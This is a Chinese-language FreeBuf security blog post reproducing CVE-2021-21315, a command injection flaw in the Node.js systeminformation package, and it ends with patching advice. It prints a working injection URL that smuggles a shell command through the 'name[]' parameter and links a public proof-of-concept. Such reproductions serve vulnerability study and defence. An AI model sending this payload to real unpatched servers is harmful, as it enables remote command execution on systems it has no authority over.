freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CVE-2021-21315 NodeJs命令注入漏洞复现
FreeBuf-329171 2021-08-12 09:55:22 408196

0x00 简介

Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用。Node使用Module模块划分不同的功能,每一个模块都包含非常丰富的函数,如http就包含了和http相关的很多函数,帮助开发者对http、tcp/udp等进行操作或创建相关服务器。

0x01 漏洞概述

Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payload执行系统命令。

0x02 影响版本

Systeminformation<5.3.1

0x03 环境搭建

本次测试环境使用的是kali 2020.4版本,首先下载受影响的Node.js,这里使用的是v12.18.4。

wgethttps://nodejs.org/dist/v12.18.4/node-v12.18.4-linux-x64.tar.xz

20210803203652.png

解压

tar -xvfnode-v12.18.4-linux-x64.tar.xz

为了后续方便,更换文件名字为nodejs,并将该文件移至 /usr/local/sbin/目录下

mvnode-v12.18.4-linux-x64 nodejs
mvnodejs/ /usr/local/sbin/

更换文件node和npm的软连接

ln-s/usr/local/sbin/nodejs/bin/node /usr/local/bin/
ln-s/usr/local/sbin/nodejs/bin/npm /usr/local/bin/

20210803204151.png

运行node.js看是否配置成功

20210803204316.png

0x04 漏洞复现

解压poc, poc链接https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

20210803204356.png

运行 index.js

20210803204626.png

浏览器打开

http://ip:8000/api/getServices?name[]=$(echo -e 'zeeker' > test.txt)

这里直接指向本地

20210803205215.png

查看

20210803205338.png

发现存在test.txt文件

20210803205439.png

0x05 修复建议

该漏洞已经修复,将systeminformation升级至5.3.1或更高版本即可

链接:https://www.npmjs.com/package/systeminformation

若无法升级,检查或清理传递给 si.inetLatency()、si.inetChecksite()、si.services()、si.processLoad() 的参数,只允许使用 string,拒绝使用任何数组。

# 渗透测试 # 黑客 # web安全 # 网络安全技术
本文为 FreeBuf-329171 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf-329171 LV.5
这家伙太懒了,还未填写个人描述!
  • 27 文章数
  • 7 关注者
CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现
2021-08-31
CVE-2020-11651CVE-2020-11652 SaltStack认证绕过漏洞、目录遍历漏洞
2021-08-30
CVE-2020-1938 Tomcat AJP漏洞复现
2021-08-27
文章目录